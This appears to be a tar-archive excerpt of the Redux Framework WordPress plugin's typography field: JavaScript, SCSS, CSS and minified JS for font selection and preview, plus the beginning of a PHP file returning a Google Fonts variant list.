mainID + ' .redux-typography-subsets' ).parent().fadeOut( 'fast' ); $( '#' + mainID + ' .typography-family-backup' ).fadeOut( 'fast' ); } } $( '#' + mainID + ' .redux-typography-font-family' ).val( family ); } else if ( $( selector ).hasClass( 'redux-typography-family-backup' ) && familyBackup !== "" ) { $( '#' + mainID + ' .redux-typography-font-family-backup' ).val( familyBackup ); } // Check if the selected value exists. If not, empty it. Else, apply it. if ( $( '#' + mainID + " select.redux-typography-style option[value='" + style + "']" ).length === 0 ) { style = ""; $( '#' + mainID + ' select.redux-typography-style' ).select2( 'val', '' ); } else if ( style === "400" ) { $( '#' + mainID + ' select.redux-typography-style' ).select2( 'val', style ); } // Handle empty subset select if ( $( '#' + mainID + " select.redux-typography-subsets option[value='" + script + "']" ).length === 0 ) { script = ""; $( '#' + mainID + ' select.redux-typography-subsets' ).select2( 'val', '' ); $( '#' + mainID + ' input.typography-subsets' ).val( script ); } var _linkclass = 'style_link_' + mainID; //remove other elements crested in <head> $( '.' + _linkclass ).remove(); if ( family !== null && family !== "inherit" && $( '#' + mainID ).hasClass( 'typography-initialized' ) ) { //replace spaces with "+" sign var the_font = family.replace( /\s+/g, '+' ); if ( google === true ) { //add reference to google font family var link = the_font; if ( style && style !== "" ) { link += ':' + style.replace( /\-/g, " " ); } if ( script && script !== "" ) { link += '&subset=' + script; } if ( isSelecting === false ) { if ( typeof (WebFont) !== "undefined" && WebFont ) { WebFont.load( {google: {families: [link]}} ); } } $( '#' + mainID + ' .redux-typography-google' ).val( true ); } else { $( '#' + mainID + ' .redux-typography-google' ).val( false ); } } // Weight and italic if ( style.indexOf( "italic" ) !== -1 ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-style', 'italic' ); $( '#' + mainID + ' .typography-font-style' ).val( 'italic' ); style = style.replace( 'italic', '' ); } else { $( '#' + mainID + ' .typography-preview' ).css( 'font-style', "normal" ); $( '#' + mainID + ' .typography-font-style' ).val( '' ); } $( '#' + mainID + ' .typography-font-weight' ).val( style ); if ( !height ) { height = size; } if ( size === '' || size === undefined ) { $( '#' + mainID + ' .typography-font-size' ).val( '' ); } else { $( '#' + mainID + ' .typography-font-size' ).val( size + units ); } if ( height === '' || height === undefined ) { $( '#' + mainID + ' .typography-line-height' ).val( '' ); } else { $( '#' + mainID + ' .typography-line-height' ).val( height + units ); } if ( word === '' || word === undefined ) { $( '#' + mainID + ' .typography-word-spacing' ).val( '' ); } else { $( '#' + mainID + ' .typography-word-spacing' ).val( word + units ); } if ( letter === '' || letter === undefined ) { $( '#' + mainID + ' .typography-letter-spacing' ).val( '' ); } else { $( '#' + mainID + ' .typography-letter-spacing' ).val( letter + units ); } // Show more preview stuff if ( $( '#' + mainID ).hasClass( 'typography-initialized' ) ) { //console.log('here2'); var isPreviewSize = $( '#' + mainID + ' .typography-preview' ).data( 'preview-size' ); if ( isPreviewSize == '0' ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-size', size + units ); } $( '#' + mainID + ' .typography-preview' ).css( 'font-weight', style ); //show in the preview box the font $( '#' + mainID + ' .typography-preview' ).css( 'font-family', family + ', sans-serif' ); if ( family === 'none' && family === '' ) { //if selected is not a font remove style "font-family" at preview box $( '#' + mainID + ' .typography-preview' ).css( 'font-family', 'inherit' ); } $( '#' + mainID + ' .typography-preview' ).css( 'line-height', height + units ); $( '#' + mainID + ' .typography-preview' ).css( 'word-spacing', word + units ); $( '#' + mainID + ' .typography-preview' ).css( 'letter-spacing', letter + units ); if ( color ) { $( '#' + mainID + ' .typography-preview' ).css( 'color', color ); $( '#' + mainID + ' .typography-preview' ).css( 'background-color', redux.field_objects.typography.contrastColour( color ) ); } $( '#' + mainID + ' .typography-style .select2-chosen' ).text( $( '#' + mainID + ' .redux-typography-style option:selected' ).text() ); $( '#' + mainID + ' .typography-script .select2-chosen' ).text( $( '#' + mainID + ' .redux-typography-subsets option:selected' ).text() ); if ( align ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-align', align ); } if ( transform ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-transform', transform ); } if ( fontVariant ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-variant', fontVariant ); } if ( decoration ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-decoration', decoration ); } $( '#' + mainID + ' .typography-preview' ).slideDown(); } // end preview stuff // if not preview showing, then set preview to show if ( !$( '#' + mainID ).hasClass( 'typography-initialized' ) ) { $( '#' + mainID ).addClass( 'typography-initialized' ); } isSelecting = false; if ( !skipCheck ) { redux_change( selector ); } }; })( jQuery );������������������redux-framework/inc/fields/typography/field_typography.scss�����������������������������������������0000644�����������������00000014731�14720701300�0020361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .redux-typography-container { display: block; position: relative; margin: 0; padding: 0; width: 100%; max-width: 660px; .clearfix { clear: both; &:after { visibility: hidden; display: block; font-size: 0; content: " "; clear: both; height: 0; } } input.wp-picker-default, .redux-typography-color { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; height: 24px; padding: 0px 14px !important; margin-top: 0; margin-bottom: 0; margin-left: 4px !important; font-size: 12px !important; } .select_wrapper { display: block; position: relative; float: left; clear: none; margin: 0 10px 0 0; width: 48% !important; min-width: 210px !important; max-width: 324px !important; height: 57px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; &:nth-child(odd) { margin-right: 10px !important; } &:nth-child(even) { margin-right: 10px !important; } &.typography-family { .select2-container { width: 100% } } .redux-typography { font-size: 14px !important; display: block; float: left; height: 28px !important; line-height: 50px !important; padding: 0px !important; width: 100% !important; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; } } .wp-picker-container { float: left; clear: left; margin-bottom: 12px; padding: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .input_wrapper { display: block; position: relative; margin: 0 4px 0 5px; padding: 0; width: 23%; max-width: 23%; min-width: 70px; float: left; clear: none; height: 57px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; vertical-align: baseline; &.font-size { margin-left: 0px; } input.mini { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; width: 78%; text-align: center; margin: 0; height: 28px; top: 3px; padding: 0 2px 0 5px; text-decoration: none; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } } .picker-wrapper { display: block; display: block; position: relative; margin: 0 4px 0 5px; margin: 0; padding: 0; width: 23%; width: 100%; max-width: 23%; min-width: 70px; min-width: 100%; clear: none; height: 57px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; vertical-align: baseline; } label { display: block; position: relative; font-size: 12px !important; text-align: left; color: #999999; margin: 4px 0 2px 0 !important; cursor: default; } .typography-preview { display: none; width: 100%; border: 1px dotted lightgray; max-width: 850px; padding: 10px; font-size: 10pt; height: auto; margin: 5px 0 10px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; overflow: hidden; } .typography-color { border: 0 none; margin: 0; } ::-webkit-input-placeholder { line-height: 19px; } } @media screen and (max-width: 540px) { .redux-main { .redux-typography-container { max-width: 230px; margin: 0 auto; .select_wrapper { max-width: 210px; min-width: 210px; width: 210px; margin-left: 0 !important; margin-right: 0 !important; } .input_wrapper { max-width: 101px; min-width: 101px; width: 101px; margin-left: 0 !important; margin-right: 5px !important; input.mini { width: 73%; } } .input-append .add-on { width: 30%; padding: 5px !important; } } .redux-main .wp-picker-container .wp-picker-input-wrap { margin-top: 7px; } } } } @media screen and (max-width: 360px) { .redux-main { .redux-typography-container .iris-picker .iris-square { margin-right: 3%; } } } .wp-customizer { .redux-typography-container { .input_wrapper { width: 40%; max-width: 40%; min-width: 20%; input.mini { width: 70%; } } .select_wrapper { width: 100% !important; } } } ���������������������������������������redux-framework/inc/fields/typography/field_typography.css������������������������������������������0000644�����������������00000011020�14720701300�0020162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .redux-typography-container{display:block;position:relative;margin:0;padding:0;width:100%;max-width:660px}.redux-main .redux-typography-container .clearfix{clear:both}.redux-main .redux-typography-container .clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.redux-main .redux-typography-container input.wp-picker-default,.redux-main .redux-typography-container .redux-typography-color{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;height:24px;padding:0px 14px !important;margin-top:0;margin-bottom:0;margin-left:4px !important;font-size:12px !important}.redux-main .redux-typography-container .select_wrapper{display:block;position:relative;float:left;clear:none;margin:0 10px 0 0;width:48% !important;min-width:210px !important;max-width:324px !important;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .select_wrapper:nth-child(odd){margin-right:10px !important}.redux-main .redux-typography-container .select_wrapper:nth-child(even){margin-right:10px !important}.redux-main .redux-typography-container .select_wrapper.typography-family .select2-container{width:100%}.redux-main .redux-typography-container .select_wrapper .redux-typography{font-size:14px !important;display:block;float:left;height:28px !important;line-height:50px !important;padding:0px !important;width:100% !important;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .wp-picker-container{float:left;clear:left;margin-bottom:12px;padding:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-main .redux-typography-container .input_wrapper{display:block;position:relative;margin:0 4px 0 5px;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container .input_wrapper.font-size{margin-left:0px}.redux-main .redux-typography-container .input_wrapper input.mini{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:78%;text-align:center;margin:0;height:28px;top:3px;padding:0 2px 0 5px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .redux-typography-container .picker-wrapper{display:block;display:block;position:relative;margin:0 4px 0 5px;margin:0;padding:0;width:23%;width:100%;max-width:23%;min-width:70px;min-width:100%;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container label{display:block;position:relative;font-size:12px !important;text-align:left;color:#999999;margin:4px 0 2px 0 !important;cursor:default}.redux-main .redux-typography-container .typography-preview{display:none;width:100%;border:1px dotted lightgray;max-width:850px;padding:10px;font-size:10pt;height:auto;margin:5px 0 10px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.redux-main .redux-typography-container .typography-color{border:0 none;margin:0}.redux-main .redux-typography-container ::-webkit-input-placeholder{line-height:19px}@media screen and (max-width: 540px){.redux-main .redux-main .redux-typography-container{max-width:230px;margin:0 auto}.redux-main .redux-main .redux-typography-container .select_wrapper{max-width:210px;min-width:210px;width:210px;margin-left:0 !important;margin-right:0 !important}.redux-main .redux-main .redux-typography-container .input_wrapper{max-width:101px;min-width:101px;width:101px;margin-left:0 !important;margin-right:5px !important}.redux-main .redux-main .redux-typography-container .input_wrapper input.mini{width:73%}.redux-main .redux-main .redux-typography-container .input-append .add-on{width:30%;padding:5px !important}.redux-main .redux-main .redux-main .wp-picker-container .wp-picker-input-wrap{margin-top:7px}}@media screen and (max-width: 360px){.redux-main .redux-typography-container .iris-picker .iris-square{margin-right:3%}}.wp-customizer .redux-typography-container .input_wrapper{width:40%;max-width:40%;min-width:20%}.wp-customizer .redux-typography-container .input_wrapper input.mini{width:70%}.wp-customizer .redux-typography-container .select_wrapper{width:100% !important} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography_json.min.js����������������������������������0000644�����������������00000025015�14720701300�0021632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(_){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.typography=redux.field_objects.typography||{};var C=[],z=!1,k={width:"resolve",triggerChange:!0,allowClear:!0};_(document).ready(function(){}),redux.field_objects.typography.init=function(e,t){e||(e=_(document).find(".redux-group-tab:visible").find(".redux-container-typography:visible")),_(e).each(function(){var r,e=_(this),t=e;(e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden"))||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.each(function(){_(this).find(".redux-typography-container").each(function(){var e=_(this).find(".redux-typography-family");void 0===e.data("value")?e=_(this):""!==e.data("value")&&_(e).val(e.data("value"));var t=_(this).find(".select2_params");if(0<t.size()){var a=t.val();a=JSON.parse(a),k=_.extend({},k,a)}r=Boolean(_(this).find(".redux-font-clear").val()),redux.field_objects.typography.select(e,!0),window.onbeforeunload=null}),_(this).find(".redux-typography").on("change",function(){redux.field_objects.typography.select(_(this))}),_(this).find(".redux-typography-size, .redux-typography-height, .redux-typography-word, .redux-typography-letter, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration").keyup(function(){redux.field_objects.typography.select(_(this).parents(".redux-container-typography:first"))}),_(this).find(".redux-typography-color").wpColorPicker({change:function(e,t){_(this).val(t.color.toString()),redux.field_objects.typography.select(_(this).parents(".redux-container-typography:first"))}}),_(this).find(".redux-typography-size").numeric({allowMinus:!1}),_(this).find(".redux-typography-height, .redux-typography-word, .redux-typography-letter").numeric({allowMinus:!0});var d=[{id:"none",text:"none"}];_(this).find(".redux-typography-family").select2({matcher:function(e,t){return 0===t.toUpperCase().indexOf(e.toUpperCase())},query:function(e){return window.Select2.query.local(d)(e)},initSelection:function(e,t){t({id:e.val(),text:e.val()})},allowClear:r}).on("select2-opening",function(e){var t=_(this).parents(".redux-container-typography:first").attr("data-id"),a=_("#"+t+" .redux-typography-font-family").data("user-fonts");a=a?1:0;var r=_("#"+t+" .redux-typography-google").val();r=r?1:0;var o=[];if(void 0!==redux.customfonts&&o.push(redux.customfonts),void 0!==redux.stdfonts&&0===a&&o.push(redux.stdfonts),1==a){var p=[];for(var y in redux.typography[t]){var s=redux.typography[t].std_font;for(var i in s)s.hasOwnProperty(i)&&p.push({id:i,text:i,"data-google":"false"})}var l={text:"Standard Fonts",children:p};o.push(l)}(1==r||!0===r&&void 0!==redux.googlefonts)&&o.push(redux.googlefonts),d=o;var n=_("#"+t+" #"+t+"-family").attr("placeholder");n||(n=null),_("#"+t+" .redux-typography-family").select2("val",n)}).on("select2-selecting",function(e,t){var a=e.object.text,r=_(this).parents(".redux-container-typography:first").attr("data-id");_("#"+r+" #"+r+"-family").data("value",a),_("#"+r+" #"+r+"-family").attr("placeholder",a),C=e,z=!0,redux.field_objects.typography.select(_(this).parents(".redux-container-typography:first"))}).on("select2-clearing",function(e,t){var a=_(this).parents(".redux-container-typography:first").attr("data-id");_("#"+a+" #"+a+"-family").attr("data-value",""),_("#"+a+" #"+a+"-family").attr("placeholder","Font Family"),_("#"+a+" #"+a+"-google-font").val("false"),redux.field_objects.typography.select(_(this).parents(".redux-container-typography:first"))}),e.find(".redux-typography-family").hasClass("redux-typography-family")||e.find(".redux-typography-style").select2(k),e.find(".redux-typography-family-backup, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration").select2(k)}))})},redux.field_objects.typography.size=function(e){var t,a=0;for(t in e)e.hasOwnProperty(t)&&a++;return a},redux.field_objects.typography.makeBool=function(e){return"false"!=e&&"0"!=e&&!1!==e&&0!==e&&("true"==e||"1"==e||!0===e||1==e||void 0)},redux.field_objects.typography.change=function(e){var t={};jQuery(e).find(".redux-typography-input").each(function(){void 0!==jQuery(this).data("name")&&(t[jQuery(this).data("name")]=jQuery(this).val())}),jQuery(e).find(".typography-data-input:first-child").val(JSON.stringify(t))},redux.field_objects.typography.contrastColour=function(e){var t="#444444";""!==e&&(e=e.replace("#",""),t=128<=(299*parseInt(e.substr(0,2),16)+587*parseInt(e.substr(2,2),16)+114*parseInt(e.substr(4,2),16))/1e3?"#444444":"#ffffff");return t},redux.field_objects.typography.select=function(e,t){var a;void 0===(a=_(e).parents(".redux-container-typography:first").attr("data-id"))&&(a=_(e).attr("data-id"));_(e).parents(".redux-container-typography:first");var r=_("#"+a+" #"+a+"-family").val();r||(r=null);var o,p=_("#"+a+" select.redux-typography-family-backup").val(),y=_("#"+a+" .redux-typography-size").val(),s=_("#"+a+" .redux-typography-height").val(),i=_("#"+a+" .redux-typography-word").val(),l=_("#"+a+" .redux-typography-letter").val(),n=_("#"+a+" select.redux-typography-align").val(),d=_("#"+a+" select.redux-typography-transform").val(),u=_("#"+a+" select.redux-typography-font-variant").val(),h=_("#"+a+" select.redux-typography-decoration").val(),g=_("#"+a+" select.redux-typography-style").val(),c=_("#"+a+" select.redux-typography-subsets").val(),f=_("#"+a+" .redux-typography-color").val(),x=_("#"+a).data("units");!0===z?(o=redux.field_objects.typography.makeBool(C.object["data-google"]),_("#"+a+" .redux-typography-google-font").val(o)):o=redux.field_objects.typography.makeBool(_("#"+a+" .redux-typography-google-font").val()),_("#"+a).hasClass("typography-initialized")||(g=_("#"+a+" select.redux-typography-style").data("value"),c=_("#"+a+" select.redux-typography-subsets").data("value"),""!==g&&(g=String(g)),void 0!==typeof c&&(c=String(c))),void 0===redux.fonts.google&&(o=!1);var v="";if(v=!0===o&&r in redux.fonts.google?redux.fonts.google[r]:{400:"Normal 400",700:"Bold 700","400italic":"Normal 400 Italic","700italic":"Bold 700 Italic"},_(e).hasClass("redux-typography-subsets")&&_("#"+a+" input.typography-subsets").val(c),_(e).hasClass("redux-typography-family")){var b='<option value=""></option>';if(!0===o){var m="";_.each(v.variants,function(e,t){t.id===g||1===redux.field_objects.typography.size(v.variants)?(m=' selected="selected"',g=t.id):m="",b+='<option value="'+t.id+'"'+m+">"+t.name.replace(/\+/g," ")+"</option>"}),_("#"+a+" .redux-typography-style").select2("destroy"),_("#"+a+" .redux-typography-style").html(b),_("#"+a+" .redux-typography-style").select2(k),m="",b='<option value=""></option>',_.each(v.subsets,function(e,t){t.id===c||1===redux.field_objects.typography.size(v.subsets)?(m=' selected="selected"',c=t.id,_("#"+a+" input.typography-subsets").val(c)):m="",b+='<option value="'+t.id+'"'+m+">"+t.name.replace(/\+/g," ")+"</option>"}),_("#"+a+" .redux-typography-subsets").select2("destroy"),_("#"+a+" .redux-typography-subsets").html(b),_("#"+a+" .redux-typography-subsets").select2(k),_("#"+a+" .redux-typography-subsets").parent().fadeIn("fast"),_("#"+a+" .typography-family-backup").fadeIn("fast")}else v&&(_.each(v,function(e,t){e===g||"normal"===e?(m=' selected="selected"',_("#"+a+" .typography-style .select2-chosen").text(t)):m="",b+='<option value="'+e+'"'+m+">"+t.replace("+"," ")+"</option>"}),_("#"+a+" .redux-typography-style").select2("destroy"),_("#"+a+" .redux-typography-style").html(b),_("#"+a+" .redux-typography-style").select2(k),_("#"+a+" .redux-typography-subsets").parent().fadeOut("fast"),_("#"+a+" .typography-family-backup").fadeOut("fast"));_("#"+a+" .redux-typography-font-family").val(r)}else _(e).hasClass("redux-typography-family-backup")&&""!==p&&_("#"+a+" .redux-typography-font-family-backup").val(p);if(0===_("#"+a+" select.redux-typography-style option[value='"+g+"']").length?(g="",_("#"+a+" select.redux-typography-style").select2("val","")):"400"===g&&_("#"+a+" select.redux-typography-style").select2("val",g),0===_("#"+a+" select.redux-typography-subsets option[value='"+c+"']").length&&(c="",_("#"+a+" select.redux-typography-subsets").select2("val",""),_("#"+a+" input.typography-subsets").val(c)),_("."+("style_link_"+a)).remove(),null!==r&&"inherit"!==r&&_("#"+a).hasClass("typography-initialized")){var w=r.replace(/\s+/g,"+");if(!0===o){var j=w;g&&""!==g&&(j+=":"+g.replace(/\-/g," ")),c&&""!==c&&(j+="&subset="+c),!1===z&&"undefined"!=typeof WebFont&&WebFont&&WebFont.load({google:{families:[j]}}),_("#"+a+" .redux-typography-google").val(!0)}else _("#"+a+" .redux-typography-google").val(!1)}(-1!==g.indexOf("italic")?(_("#"+a+" .typography-preview").css("font-style","italic"),_("#"+a+" .typography-font-style").val("italic"),g=g.replace("italic","")):(_("#"+a+" .typography-preview").css("font-style","normal"),_("#"+a+" .typography-font-style").val("")),_("#"+a+" .typography-font-weight").val(g),s||(s=y),""===y||void 0===y?_("#"+a+" .typography-font-size").val(""):_("#"+a+" .typography-font-size").val(y+x),""===s||void 0===s?_("#"+a+" .typography-line-height").val(""):_("#"+a+" .typography-line-height").val(s+x),""===i||void 0===i?_("#"+a+" .typography-word-spacing").val(""):_("#"+a+" .typography-word-spacing").val(i+x),""===l||void 0===l?_("#"+a+" .typography-letter-spacing").val(""):_("#"+a+" .typography-letter-spacing").val(l+x),_("#"+a).hasClass("typography-initialized"))&&("0"==_("#"+a+" .typography-preview").data("preview-size")&&_("#"+a+" .typography-preview").css("font-size",y+x),_("#"+a+" .typography-preview").css("font-weight",g),_("#"+a+" .typography-preview").css("font-family",r+", sans-serif"),"none"===r&&""===r&&_("#"+a+" .typography-preview").css("font-family","inherit"),_("#"+a+" .typography-preview").css("line-height",s+x),_("#"+a+" .typography-preview").css("word-spacing",i+x),_("#"+a+" .typography-preview").css("letter-spacing",l+x),f&&(_("#"+a+" .typography-preview").css("color",f),_("#"+a+" .typography-preview").css("background-color",redux.field_objects.typography.contrastColour(f))),_("#"+a+" .typography-style .select2-chosen").text(_("#"+a+" .redux-typography-style option:selected").text()),_("#"+a+" .typography-script .select2-chosen").text(_("#"+a+" .redux-typography-subsets option:selected").text()),n&&_("#"+a+" .typography-preview").css("text-align",n),d&&_("#"+a+" .typography-preview").css("text-transform",d),u&&_("#"+a+" .typography-preview").css("font-variant",u),h&&_("#"+a+" .typography-preview").css("text-decoration",h),_("#"+a+" .typography-preview").slideDown());_("#"+a).hasClass("typography-initialized")||_("#"+a).addClass("typography-initialized"),z=!1,t||redux_change(e)}}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/googlefonts.php�����������������������������������������������0000644�����������������00001277612�14720701300�0017164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php return json_decode( '{"ABeeZee":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Abel":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Abhaya Libre":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"sinhala","name":"Sinhala"}]},"Abril Fatface":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Aclonica":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Acme":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Actor":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Adamina":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Advent Pro":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Aguafina Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Akaya Kanadaka":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"kannada","name":"Kannada"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Akaya Telivigala":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"telugu","name":"Telugu"}]},"Akronim":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Akshar":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Aladin":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Alata":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alatsi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Aldrich":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Alef":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"}]},"Alegreya":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alegreya SC":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alegreya Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Alegreya Sans SC":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic 